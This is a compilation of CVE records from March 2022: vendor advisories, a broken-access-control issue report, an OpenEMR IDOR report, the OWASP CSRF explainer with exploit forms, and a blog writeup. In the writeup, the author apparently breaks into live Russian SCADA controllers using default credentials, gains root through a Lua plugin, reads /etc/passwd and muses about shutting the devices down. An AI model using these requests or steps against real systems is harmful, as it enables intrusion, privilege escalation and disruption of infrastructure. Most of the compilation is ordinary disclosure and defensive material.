** UNSUPPORTED WHEN ASSIGNED ** spring-boot versions prior to version v2.2.11.RELEASE was vulnerable to temporary directory hijacking. This vulnerability impacted the org.springframework.boot.web.server.AbstractConfigurableWebServerFactory.createTempDir method. NOTE: This vulnerability only affects products and/or versions that are no longer supported by the maintainer.

**Package**

maven org.springframework.boot:spring-boot (Maven)

**Affected versions**

< v2.2.11.RELEASE

**Patched versions**

v2.2.11.RELEASE

This was originally spotted by @trugPa and communicated here: github/codeql#4473 (comment)

**Impact**

spring-boot versions prior to version `v2.2.11.RELEASE` was vulnerable to temporary directory hijacking. This vulnerability impacted the `org.springframework.boot.web.server.AbstractConfigurableWebServerFactory.createTempDir` method.

The vulnerable method is used to create a work directory for embedded web servers such as Tomcat and Jetty. The directory contains configuration files, JSP/class files, etc. If a local attacker got the permission to write in this directory, they could completely take over the application (ie. local privilege escalation).

**Impact Location**

This vulnerability impacted the following source location:

	/\*\*
	 \* Return the absolute temp dir for given web server.
	 \* @param prefix server name
	 \* @return the temp dir for given server.
	 \*/
	protected final File createTempDir(String prefix) {
		try {
			File tempDir = File.createTempFile(prefix + ".", "." + getPort());
			tempDir.delete();
			tempDir.mkdir();
			tempDir.deleteOnExit();
			return tempDir;
		}

\- https://github.com/spring-projects/spring-boot/blob/ce70e7d768977242a8ea6f93188388f273be5851/spring-boot-project/spring-boot/src/main/java/org/springframework/boot/web/server/AbstractConfigurableWebServerFactory.java#L165-L177

This vulnerability exists because `File.mkdir` returns `false` when it fails to create a directory, it does not throw an exception. As such, the following race condition exists:

File tmpDir =File.createTempFile(prefix + ".", "." + getPort()); // Attacker knows the full path of the file that will be generated
// delete the file that was created
tmpDir.delete(); // Attacker sees file is deleted and begins a race to create their own directory before Jetty.
// and make a directory of the same name
// SECURITY VULNERABILITY: Race Condition! - Attacker beats java code and now owns this directory
tmpDir.mkdirs(); // This method returns 'false' because it was unable to create the directory. No exception is thrown.
// Attacker can write any new files to this directory that they wish.
// Attacker can read any files created by this process.

**Prerequisites**

This vulnerability impacts Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.

**Patches**

This vulnerability was inadvertently fixed as a part of this patch: spring-projects/spring-boot@667ccda

This vulnerability is patched in versions `v2.2.11.RELEASE` or later.

**Workarounds**

Setting the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability for all operating systems.

**CVE ID**

CVE-2022-27772

**GHSA ID**

GHSA-cm59-pr5q-cw85

**CWEs**

**CVSS Score**

7.8 High

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

**Credits**

CVE-2022-27772: Build software better, together

Tekon KIO devices through 2022-03-30 allow an authenticated admin user to escalate privileges to root by uploading a malicious Lua plugin.

Hello World

The following is a writeup about a research i did today at morning march 17 2022 , took me 3 hours and no breakfast, after lunch and succesful pwned i’m writing this.

The affected devices are controllers from a russian brand called tekon.ru

![](https://miro.medium.com/max/1400/1*OdUhjvHMo2bWABwVGB9d6Q.png)

Tekon is responsable to manufacture SCADA devices for russian market specifically, controllers, hubs , modbus devices all focused for building equipment and SCADA enviroments.

I found more than 100+ devices connected to the internet all them located in Russia exclusively , those devices are running with default credentials almost all of them and anyone can connect to them and perform changes and actions as “admin” only .

https://www.shodan.io/search?query=country%3Aru+title%3A%22%D0%BA%D0%BE%D0%BD%D1%82%D1%80%D0%BE%D0%BB%D0%BB%D0%B5%D1%80%22&page=2

![](https://miro.medium.com/max/1400/1*bWQeT7Eo8yqI7qgUfcm_Ug.png)

![](https://miro.medium.com/max/1400/1*PhKxzgsaNx6vDgO7dPHKwg.png)

when you get the default index you will see something like this:

![](https://miro.medium.com/max/1400/1*1RMCCazmJAl6F6-Iaayemg.png)

Everything is in russian but don’t worry gogle translate tab is your friend

![](https://miro.medium.com/max/1400/1*gxa5430A9e81JfxAuGXI2A.png)

After some research i found that tekon.ru did a great job put it in manuals firmwares and software related to easy access for anyone interested to take a look , in our case we need the manuals in order to dig for some default credentials , you know… in our case we need to acces somehow someway ..

![](https://miro.medium.com/max/1400/1*A6v-yhexsShdyJA0T4IKPA.png)

After translation and reading i found the default credentials which are **_admin:secret_** , trying the first result i was completely in, profit for me!!

![](https://miro.medium.com/max/1400/1*WT5eVepSEmBS9GqvxWQwRg.png)

Well now i’m in with defaults what can i do here ? and more importantly what kind of priviledges i have at this moment , you can enable the SSH access from the panel or even change the default password , so the engineers are not going to be able to acces again if you do that …

![](https://miro.medium.com/max/1400/1*2JWBk00QdQLiv1FKO4QBCg.png)

So, with the SSH access my idea was to confirm what type of priviledges the user admin is running right now, for my surprise the admin user is not root, which is boomer at that point of the research .

![](https://miro.medium.com/max/696/1*MzyedwOD2sUFZk8QDIo58A.png)

Well, this means we can not do any interesting action with the admin user like command execution, we need to escalate privilegdes someway somehow .

After reading all manuals and learn about the device features i noticed there are some documented cgi scripts and some of them are not documented

![](https://miro.medium.com/max/1400/1*Q9EngS6PY5nBTuLfzvF3RQ.png)

in the path /srv/www/cgi-bin you can find those scripts , some of them are interesting like the serkill.cgi, you can call it and a process is going to be stoped

![](https://miro.medium.com/max/1348/1*L_TVUDp351d5X5bkDNg2Rg.png)

Well i was thinking….. if i could upload my custom cgi script i could execute bash, but the user admin doesn’t have the permisions, permission is denied.

![](https://miro.medium.com/max/1350/1*4gHJCrRNsxjRTneXH0G2Dw.png)

Mmm.. seriously i need to figure out how to upload my stuff here and execute commands, i knew i was closer.

After reading again the manuls for second time and playing around with the web app i found an interesting module for LUA script plugin upload and execution, just look for the plugin section .

![](https://miro.medium.com/max/1400/1*Llc08ujTYxeOOsqkm8ZKbw.png)

According the manuals you can upload your custom LUA scripts “plugins” and they are going to be executed after you click the save/load button

**_Priviledge Escalation_**

I though the following, LUA plugin should be running as root yes or yes , if i could upload a malicious LUA plugin with custom commands those are going to be executed as root and then i could place a custom cgi in /srv/www/cgi-bin path easily bypassing the admin user priviledges.

Ok here we go, open up your notepad++ and write some LUA code , in order to execute OS commands you just need os.excute

![](https://miro.medium.com/max/1376/1*JkwM2nu-RENH9wbsAKH3Wg.png)

Save the LUA malicious plugin/code and create a .TAR file with 7 zip in windows

Upload the malicios LUA plugin

![](https://miro.medium.com/max/1400/1*gyBdK6myboo8Y90D8WUy1A.png)

Then press save/load

![](https://miro.medium.com/max/1296/1*pW4uMayXxp6Tq1AWljp_WA.png)

At this point you’re blind and you don’t know if your code is being executed, but do you remember the cgi files i show you before ? well there is one for debug purposes and is called **_log.cgi_**

![](https://miro.medium.com/max/472/1*STNIFWGQXL24_20Oot0cIw.png)

invoke log.cgi

After upload the malicious LUA plugin just invoke log.cgi script , go to the bottom and you will see the output for the obscure LUA plugin

BOOM !! WE GOT RCE AND PRIVILEDGE ESCALATION 😎

NOW WE ARE ROOT !!!

![](https://miro.medium.com/max/1400/1*zI7jzmMuSzAfssiADjkfTg.png)

1337

Let’s try with cat /etc/passwd

![](https://miro.medium.com/max/946/1*wu4VI951DWmcljUCeh9FMQ.png)

Yeah !! there you go 😎 gimme the shit

![](https://miro.medium.com/max/1400/1*D1g9qNuW1kh4soNeEbkd4A.png)

cat /etc/passwd

Well i got RCE and privilege escalation from an admin user to root , now we can do whatever, more critically those devices can be shut down at once the 100 creating an impact in russian scada systems , remotely.

From this point now we can create custom cgi files and call them from cgi/bin path and do whatever .

You can follow on twitter for more “on the fly” research and pwn delivery @bertinjoseb

Thanks

CVE-2022-28223: Post auth RCE based in malicious LUA plugin script upload SCADA controllers located in Russia

The G-RAID 4/8 Software Utility setups for Windows were affected by a DLL hijacking vulnerability. Successful exploitation could lead to arbitrary code execution in the context of the system user.

**Last Updated:** March 29, 2022

**Description**

The G-RAID 4/8 Software Utility setups for Windows were affected by a DLL hijacking vulnerability. Successful exploitation could lead to arbitrary code execution in the context of the system user. Western Digital recommends all users install the latest updates for the Windows app and driver from the links below.

**Product Impact**

**Minimum Fix Version**

**Last Updated**

G-RAID 4/8 Software Utility Windows App

300520006-2

March 23, 2022

G-RAID 4/8 Software Utility Windows Driver

6.2.0.16-2

March 23, 2022

**Advisory Summary**

Resolved the DLL hijacking vulnerability in the G-RAID 4/8 Software Utility Windows app and driver which could allow malicious users to carry out escalation of privileges.

**CVE Number:** CVE-2022-22996

**Reported By:** DoHyun Lee(@l33d0hyun) and SeungYun LEE(@SeungYun\_Le2) of Korea University Sejong Campus and JaeHeng Yoon(@onnoveath) of JENBlack Soft

CVE-2022-22996: WDC-22007 SanDisk Professional G-RAID 4/8 Software Utility setup for Windows, Privilege Escalation | Western Digital

In RuoYi v4.7.2 through the WebUI, user test1 does not have permission to reset the password of user test3, but the password of user test3 can be reset through the /system/user/resetPwd request.

In the WebUI, user `test1` does not have permission to reset the password of user `test3`, but the password of user `test3` can be reset through the `/system/user/resetPwd` request.

Choose “System Management”- > “Role Management”(“系统管理”->”角色管理”) , and add the role of “testrole”.  
![输入图片说明](https://images.gitee.com/uploads/images/2022/0118/223224_1be0da8c_10313790.jpeg "1.jpg")  
Set “Menu Permission” (“菜单权限”) as follows:  
![输入图片说明](https://images.gitee.com/uploads/images/2022/0118/223314_c5893c37_10313790.jpeg "2.jpg")  
“Data Permission”- > “Data Scope” (“数据权限”->“数据范围”) is set to “ Data Permission of the department”(“本部门数据权限”).  
![输入图片说明](https://images.gitee.com/uploads/images/2022/0118/223353_092d4485_10313790.jpeg "3.jpg")  
![输入图片说明](https://images.gitee.com/uploads/images/2022/0118/223431_e73daafd_10313790.jpeg "4.jpg")  
2.  
Add a user named `test1`, and the userId is `100`. Add a user named `test3`, and the userId is `102`.  
![输入图片说明](https://images.gitee.com/uploads/images/2022/0118/223514_4bf23299_10313790.jpeg "5.jpg")  
The “Home Department” (“归属部门”) of user `test1` is “ Marketing Department” (“市场部门”), and the “Role” ( “角色”) is testrole.  
![输入图片说明](https://images.gitee.com/uploads/images/2022/0118/223531_5fce91b6_10313790.jpeg "6.jpg")  
The “Home Department” (“归属部门”) of user `test3` is “Financial Department” (“财务部门”), and the “Role” (“角色”) is testrole.  
![输入图片说明](https://images.gitee.com/uploads/images/2022/0118/223546_7666bbfd_10313790.jpeg "7.jpg")  
3.  
After logging in to the system, user `test1` can see only user `test1` of the “marketing department”(“市场部门”), but not user `test3` of the “financial department”(“财务部门”).  
![输入图片说明](https://images.gitee.com/uploads/images/2022/0118/223607_89251d25_10313790.jpeg "8.jpg")  
4.  
The WebUI provides the “password reset”(“重置密码”) function. Invoke the resetPwd interface through the cookie of user `test1` to reset the password of user `test3`. The request parameters of user `test3` are `userId=102` and `loginName=test3`.  
![输入图片说明](https://images.gitee.com/uploads/images/2022/0118/223637_cf38e1c2_10313790.jpeg "9.jpg")  
![输入图片说明](https://images.gitee.com/uploads/images/2022/0118/223650_19fa287c_10313790.jpeg "10.jpg")

    POST /system/user/resetPwd HTTP/1.1
    Host: localhost:8090
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 42
    Origin: http://localhost:8090
    Connection: close
    Referer: http://localhost:8090/system/user/resetPwd/100
    Cookie: nav-style=default; JSESSIONID=xxxxxxx
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    
    userId=102&loginName=test3&password=123456
    

The password of user `test3` was reset successfully.

CVE-2022-23869: Broken Access Control Vulnerability · Issue #I4RCO2 · 若依/RuoYi - Gitee.com

Accounting User Can Download Patient Reports in openemr in GitHub repository openemr/openemr prior to 6.1.0.

**Vulnerability Type**

Insecure Direct Object Reference

**Affected URL**

https://localhost/openemr/interface/patient\_file/report/custom\_report.php

**Affected Parameters**

“Issue\_7”

**Authentication Required?**

Yes

**Issue Summary**

Non-privilege users (accounting & front-office) can download patient reports containing medical reports and documents by sending a request to a vulnerable end-point. There is no Access Control enforced, therefore, any authenticated user of OpenEMR can download patient records by just tampering the “Issue\_7” parameter to any valid number. By incrementing this value, an unauthorized user can download patient records.

**Recommendation**

Implement ACL check to ensure that only authorized users of OpenEMR system are able to download patient documents from the vulnerable end-point.

**Credits**

Aden Yap Chuen Zhen (chuenzhen.yap2@baesystems.com) Rizan, Sheikh (rizan.sheikhmohdfauzi@baesystems.com) Ali Radzali  
(muhammadali.radzali@baesystems.com)

**Issue Reproduction**

Login to OpenEMR as Admin and capture the POST request to the following end-point:

`https://localhost/openemr/interface/patient_file/report/custom_report.php`

In Burp, the HTTP POST request, cookie “OpenEMR” & parameter “issue\_7” can be tampered.

    Host: 192.168.0.141
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 155
    Origin: http://192.168.0.141
    Connection: close
    Referer: http://192.168.0.141/openemr/interface/patient_file/report/patient_report.php
    Cookie: OpenEMR=E6toaL3R-180fA2-MIw80a-G7PJPCapZxrTYIzY%2Cofj5CXEG
     
    Upgrade-Insecure-Requests: 1
     
    include_demographics=demographics&include_billing=billing&pdf=1&issue_8=%2F&issue_10=%2F&issue_7=%2F14%2F&issue_6=%2F&issue_9=%2F&issue_11=%2F&issue_12=%2F
    

Replace the “OpenEMR” Cookie with Accountant Cookie and increment the “issue\_7” parameter to any valid number eg “issue\_7=/15/” to access patient documents.

**References**

*   This bug was already reported and fix by Openemr project team. Kindly reach out to Brad in case of questions. Details of patch at: https://www.open-emr.org/wiki/index.php/OpenEMR\_Patches

CVE-2022-1177: Accounting User Can Download Patient Reports in openemr in openemr

Opps, this post exists, but was actually published 4/5/2022. We’re navigating you to the correct page now. If that doesn’t work click the link below:
Randomizing the KUSER_SHARED_DATA Structure on Windows – Microsoft Security Response Center

This blog post is older than a year. The information provided below may be outdated.

*   blog
*   2022
*   03
*   randomizing-the-kuser\_shared\_data-structure-on-windows-2/

MSRC

/ By MSRC / March 30, 2022 / 1 min read

Opps, this post exists, but was actually published 4/5/2022. We’re navigating you to the correct page now. If that doesn’t work click the link below:

Randomizing the KUSER\_SHARED\_DATA Structure on Windows – Microsoft Security Response Center

Previous Post

Next Post

Randomizing the KUSER_SHARED_DATA Structure on Windows

A Cross-Site Request Forgery (CSRF) in Pluck CMS v4.7.15 allows attackers to change the password of any given user by exploiting this feature leading to account takeover.

**Author:** KirstenS  
**Contributor(s):** Dave Wichers, Davisnw, Paul Petefish, Adar Weidman, Michael Brooks, Ahsan Mir, Dc, D0ubl3 h3lix, Jim Manico, Robert Gilbert, Tgondrom, Pawel Krawczyk, Brandt, A V Minhaz, Kevin Lorenzo, Andrew Smith, Christina Schelin, Ari Elias-Bachrach, Sarciszewski, kingthorin, Ben Spatafora  

**Overview**

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

**How to Review Code for CSRF Vulnerabilities**

See the OWASP Code Review Guide article on how to review code for CSRF vulnerabilities.

**How to Test for CSRF Vulnerabilities**

See the OWASP Testing Guide article on how to test for CSRF vulnerabilities.

**How to Prevent CSRF Vulnerabilities**

See the CSRF Prevention Cheat Sheet for prevention measures.

Listen to the OWASP Top Ten CSRF Podcast.

Most frameworks have built-in CSRF support such as Joomla, Spring, Struts, Ruby on Rails, .NET and others.

Use OWASP CSRF Guard to add CSRF protection to your Java applications. You can use CSRFProtector Project to protect your PHP applications or any project deployed using Apache Server.

John Melton also has an excellent blog post describing how to use the native anti-CSRF functionality of the OWASP ESAPI.

**Description**

CSRF is an attack that tricks the victim into submitting a malicious request. It inherits the identity and privileges of the victim to perform an undesired function on the victim’s behalf (though note that this is not true of login CSRF, a special form of the attack described below). For most sites, browser requests automatically include any credentials associated with the site, such as the user’s session cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish between the forged request sent by the victim and a legitimate request sent by the victim.

CSRF attacks target functionality that causes a state change on the server, such as changing the victim’s email address or password, or purchasing something. Forcing the victim to retrieve data doesn’t benefit an attacker because the attacker doesn’t receive the response, the victim does. As such, CSRF attacks target state-changing requests.

An attacker can use CSRF to obtain the victim’s private data via a special form of the attack, known as login CSRF. The attacker forces a non-authenticated user to log in to an account the attacker controls. If the victim does not realize this, they may add personal data—such as credit card information—to the account. The attacker can then log back into the account to view this data, along with the victim’s activity history on the web application.

It’s sometimes possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called “stored CSRF flaws”. This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

**Synonyms**

CSRF attacks are also known by a number of other names, including XSRF, “Sea Surf”, Session Riding, Cross-Site Reference Forgery, and Hostile Linking. Microsoft refers to this type of attack as a One-Click attack in their threat modeling process and many places in their online documentation.

**Prevention measures that do **NOT** work**

A number of flawed ideas for defending against CSRF attacks have been developed over time. Here are a few that we recommend you avoid.

**Using a secret cookie**

Remember that all cookies, even the _secret_ ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.

**Only accepting POST requests**

Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker’s Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.

**Multi-Step Transactions**

Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.

**URL Rewriting**

This might be seen as a useful CSRF prevention technique as the attacker cannot guess the victim’s session ID. However, the user’s session ID is exposed in the URL. We don’t recommend fixing one security flaw by introducing another.

**HTTPS**

HTTPS by itself does nothing to defend against CSRF.

However, HTTPS should be considered a prerequisite for any preventative measures to be trustworthy.

**Examples****How does the attack work?**

There are numerous ways in which an end user can be tricked into loading information from or submitting information to a web application. In order to execute an attack, we must first understand how to generate a valid malicious request for our victim to execute. Let us consider the following example: Alice wishes to transfer $100 to Bob using the _bank.com_ web application that is vulnerable to CSRF. Maria, an attacker, wants to trick Alice into sending the money to Maria instead. The attack will comprise the following steps:

1.  Building an exploit URL or script
2.  Tricking Alice into executing the action with Social Engineering

**GET scenario**

If the application was designed to primarily use GET requests to transfer parameters and execute actions, the money transfer operation might be reduced to a request like:

`GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1`

Maria now decides to exploit this web application vulnerability using Alice as the victim. Maria first constructs the following exploit URL which will transfer $100,000 from Alice’s account to Maria’s account. Maria takes the original command URL and replaces the beneficiary name with herself, raising the transfer amount significantly at the same time:

`http://bank.com/transfer.do?acct=MARIA&amount=100000`

The social engineering aspect of the attack tricks Alice into loading this URL when Alice is logged into the bank application. This is usually done with one of the following techniques:

*   sending an unsolicited email with HTML content
*   planting an exploit URL or script on pages that are likely to be visited by the victim while they are also doing online banking

The exploit URL can be disguised as an ordinary link, encouraging the victim to click it:

`<a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a>`

Or as a 0x0 fake image:

`<img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="0" height="0" border="0">`

If this image tag were included in the email, Alice wouldn’t see anything. However, the browser _will still_ submit the request to bank.com without any visual indication that the transfer has taken place.

A real life example of CSRF attack on an application using GET was a uTorrent exploit from 2008 that was used on a mass scale to download malware.

**POST scenario**

The only difference between GET and POST attacks is how the attack is being executed by the victim. Let’s assume the bank now uses POST and the vulnerable request looks like this:

    POST http://bank.com/transfer.do HTTP/1.1
    
    acct=BOB&amount=100
    

Such a request cannot be delivered using standard A or IMG tags, but can be delivered using a FORM tags:

    <form action="http://bank.com/transfer.do" method="POST">
    
    <input type="hidden" name="acct" value="MARIA"/>
    <input type="hidden" name="amount" value="100000"/>
    <input type="submit" value="View my pictures"/>
    
    </form>
    

This form will require the user to click on the submit button, but this can be also executed automatically using JavaScript:

    <body onload="document.forms[0].submit()">
    
    <form...
    

**Other HTTP methods**

Modern web application APIs frequently use other HTTP methods, such as PUT or DELETE. Let’s assume the vulnerable bank uses PUT that takes a JSON block as an argument:

    PUT http://bank.com/transfer.do HTTP/1.1
    
    { "acct":"BOB", "amount":100 }
    

Such requests can be executed with JavaScript embedded into an exploit page:

    <script>
    function put() {
        var x = new XMLHttpRequest();
        x.open("PUT","http://bank.com/transfer.do",true);
        x.setRequestHeader("Content-Type", "application/json");
        x.send(JSON.stringify({"acct":"BOB", "amount":100})); 
    }
    </script>
    
    <body onload="put()">
    

Fortunately, this request will **not** be executed by modern web browsers thanks to same-origin policy restrictions. This restriction is enabled by default unless the target web site explicitly opens up cross-origin requests from the attacker’s (or everyone’s) origin by using CORS with the following header:

`Access-Control-Allow-Origin: *`

*   Cross-site Scripting (XSS)
*   Cross Site History Manipulation (XSHM)

*   Add a per-request nonce to the URL and all forms in addition to the standard session. This is also referred to as “form keys”. Many frameworks (e.g., Drupal.org 4.7.4+) either have or are starting to include this type of protection “built-in” to every form so the programmer does not need to code this protection manually.
*   Add a hash (session id, function name, server-side secret) to all forms.
*   For .NET, add a session identifier to ViewState with MAC (described in detail in the DotNet Security Cheat Sheet).
*   Checking the referrer header in the client’s HTTP request can prevent CSRF attacks. Ensuring that the HTTP request has come from the original site means that attacks from other sites will not function. It is very common to see referrer header checks used on embedded network hardware due to memory limitations.
    *   XSS can be used to bypass both referrer and token based checks simultaneously. For instance, the Samy worm used an `XMLHttpRequest` to obtain the CSRF token to forge requests.
*   “Although CSRF is fundamentally a problem with the web application, not the user, users can help protect their accounts at poorly designed sites by logging off the site before visiting another, or clearing their browser’s cookies at the end of each browser session.” –http://en.wikipedia.org/wiki/Cross-site\_request\_forgery#\_note-1

**References**

*   OWASP Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
    
*   The Cross-Site Request Forgery (CSRF/XSRF) FAQ
    

> “This paper serves as a living document for Cross-Site Request Forgery issues. This document will serve as a repository of information from existing papers, talks, and mailing list postings and will be updated as new information is discovered.”\*

*   Testing for CSRF
    *   CSRF (aka Session riding) paper from the OWASP Testing Guide project.
*   CSRF Vulnerability: A ‘Sleeping Giant’
    *   Overview Paper
*   Client Side Protection against Session Riding
    *   Martin Johns and Justus Winter’s interesting paper and presentation for the 4th OWASP AppSec Conference which described potential techniques that browsers could adopt to automatically provide CSRF protection - PDF paper
*   OWASP CSRF Guard
    *   J2EE, .NET, and PHP Filters which append a unique request token to each form and link in the HTML response in order to provide universal coverage against CSRF throughout your entire application.
*   OWASP CSRF Protector
    *   Anti CSRF method to mitigate CSRF in web applications. Currently implemented as a PHP library & Apache 2.x.x module
*   A Most-Neglected Fact About Cross Site Request Forgery (CSRF)
    *   Aung Khant, http://yehg.net, explained the danger and impact of CSRF with imperiling scenarios.
*   Pinata-CSRF-Tool: CSRF POC tool
    *   Pinata makes it easy to create Proof of Concept CSRF pages. Assists in Application Vulnerability Assessment.

CVE-2022-27432: Cross Site Request Forgery (CSRF)

NVIDIA CUDA Toolkit SDK contains an integer overflow vulnerability in cuobjdump.To exploit this vulnerability, a remote attacker would require a local user to download a specially crafted, corrupted file and locally execute cuobjdump against the file. Such an attack may lead to remote code execution that causes complete denial of service and an impact on data confidentiality and integrity.

**Details**

This section provides a summary of potential vulnerabilities that this security update addresses and their impact. Descriptions use CWE™, and base scores and vectors use CVSS v3.1 standards.

**CVE ID**

**Description**

**Base Score**

**Vector**

CVE‑2022‑21821

NVIDIA CUDA Toolkit SDK contains an integer overflow vulnerability in `cuobjdump`.To exploit this vulnerability, a remote attacker would require a local user to download a specially crafted, corrupted file and locally execute `cuobjdump` against the file. Such an attack may lead to remote code execution that causes complete denial of service and an impact on data confidentiality and integrity.

7.8

AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

The NVIDIA risk assessment is based on an average of risk across a diverse set of installed systems and may not represent the true risk to your local installation. NVIDIA recommends evaluating the risk to your specific configuration.

**Security Updates**

The following table lists the NVIDIA software products affected, versions affected, and the updated version that includes this security update.

Download the update from the CUDA Toolkit Downloads page to apply the security update.

**CVE IDs Addressed**

**Software Product**

**Operating System**

**Affected Versions**

**Updated Version**

CVE‑2022‑21821

CUDA Toolkit

Windows and Linux

All versions prior to CUDA Toolkit 11.6 Update 2

11.6 Update 2

**Notes**

*   Earlier software releases that support this product are also affected. If you are using an earlier release, upgrade to the latest release version.

**Mitigations**

None. See Security Updates for the version to install.

**Acknowledgements**

NVIDIA thanks Leonardo Galli for reporting this issue.

**Get the Most Up to Date Product Security Information**

Visit the NVIDIA Product Security page to

*   Subscribe to security bulletin notifications
*   See the current list of NVIDIA security bulletins
*   Report a potential security issue in any NVIDIA supported product
*   Learn more about the vulnerability management process followed by the NVIDIA Product Security Incident Response Team (PSIRT)

**Revision History**

  

**Revision**

**Date**

**Description**

1.0

March 28, 2022

Initial release

**Support**

If you have any questions about this security bulletin, contact NVIDIA Support.

**Disclaimer**

ALL NVIDIA INFORMATION, DESIGN SPECIFICATIONS, REFERENCE BOARDS, FILES, DRAWINGS, DIAGNOSTICS, LISTS, AND OTHER DOCUMENTS (TOGETHER AND SEPARATELY, “MATERIALS”) ARE BEING PROVIDED “AS IS.” NVIDIA MAKES NO WARRANTIES, EXPRESS, IMPLIED, STATUTORY, OR OTHERWISE WITH RESPECT TO THE MATERIALS, AND ALL EXPRESS OR IMPLIED CONDITIONS, REPRESENTATIONS AND WARRANTIES, INCLUDING ANY IMPLIED WARRANTY OR CONDITION OF TITLE, MERCHANTABILITY, SATISFACTORY QUALITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT, ARE HEREBY EXCLUDED TO THE MAXIMUM EXTENT PERMITTED BY LAW.

Information is believed to be accurate and reliable at the time it is furnished. However, NVIDIA Corporation assumes no responsibility for the consequences of use of such information or for any infringement of patents or other rights of third parties that may result from its use. No license is granted by implication or otherwise under any patent or patent rights of NVIDIA Corporation. Specifications mentioned in this publication are subject to change without notice. This publication supersedes and replaces all information previously supplied. NVIDIA Corporation products are not authorized for use as critical components in life support devices or systems without express written approval of NVIDIA Corporation.

CVE-2022-21821: Security Bulletin: NVIDIA CUDA Toolkit - March 2022

The vCenter Server contains an information disclosure vulnerability due to improper permission of files. A malicious actor with non-administrative access to the vCenter Server may exploit this issue to gain access to sensitive information.

Advisory ID: VMSA-2022-0009

CVSSv3 Range: 5.5

Issue Date: 2022-03-29

Updated On: 2022-03-29 (Initial Advisory)

CVE(s): CVE-2022-22948

Synopsis: VMware vCenter Server updates address an information disclosure vulnerability (CVE-2022-22948)

Share this page on social media

Sign up for Security Advisories

****1\. Impacted Products****

*   VMware vCenter Server (vCenter Server)  
    
*   VMware Cloud Foundation (Cloud Foundation)  
    

****2\. Introduction****

An information disclosure vulnerability in VMware vCenter Server was privately reported to VMware. Updates are available to remediate this vulnerability in affected VMware products.  

****3. vCenter Server information disclosure vulnerability (CVE-2022-22948)****

The vCenter Server contains an information disclosure vulnerability due to improper permission of files. VMware has evaluated the severity of this issue to be in the Moderate severity range with a maximum CVSSv3 base score of 5.5.

A malicious actor with non-administrative access to the vCenter Server may exploit this issue to gain access to sensitive information.  

To remediate CVE-2022-22948 apply the patches listed in the 'Fixed Version' column of the 'Response Matrix' found below.  

VMware would like to thank Yuval Lazar (@Ul7raVi0l3t) of Pentera for reporting this issue to us.  

Product

Version

Running On

CVE Identifier

CVSSv3

Severity

Fixed Version

Workarounds

Additional Documentation

vCenter Server

7.0

Any

CVE-2022-22948

5.5

moderate

7.0 U3d

None

None

vCenter Server

6.7

Virtual Appliance

CVE-2022-22948

5.5

moderate

6.7 U3p

None

None

vCenter Server

6.7

Windows

CVE-2022-22948

N/A

N/A

Unaffected

N/A

N/A

vCenter Server

6.5

Virtual Appliance

CVE-2022-22948

5.5

moderate

6.5 U3r

None

None

vCenter Server

6.5

Windows

CVE-2022-22948

N/A

N/A

Unaffected

N/A

N/A

**Impacted Product Suites that Deploy Response Matrix Components:**

Product

Version

Running On

CVE Identifier

CVSSv3

Severity

Fixed Version

Workarounds

Additional Documentation

Cloud Foundation (vCenter Server)

4.x

Any

CVE-2022-22948

5.5

moderate

Patch pending

None

None

Cloud Foundation (vCenter Server)

3.x

Any

CVE-2022-22948

5.5

moderate

3.11

None

None

****4\. References****

****5\. Change Log****

**2022-03-29 VMSA-2022-0009**  
Initial security advisory.  

****6\. Contact****

Tag

#windows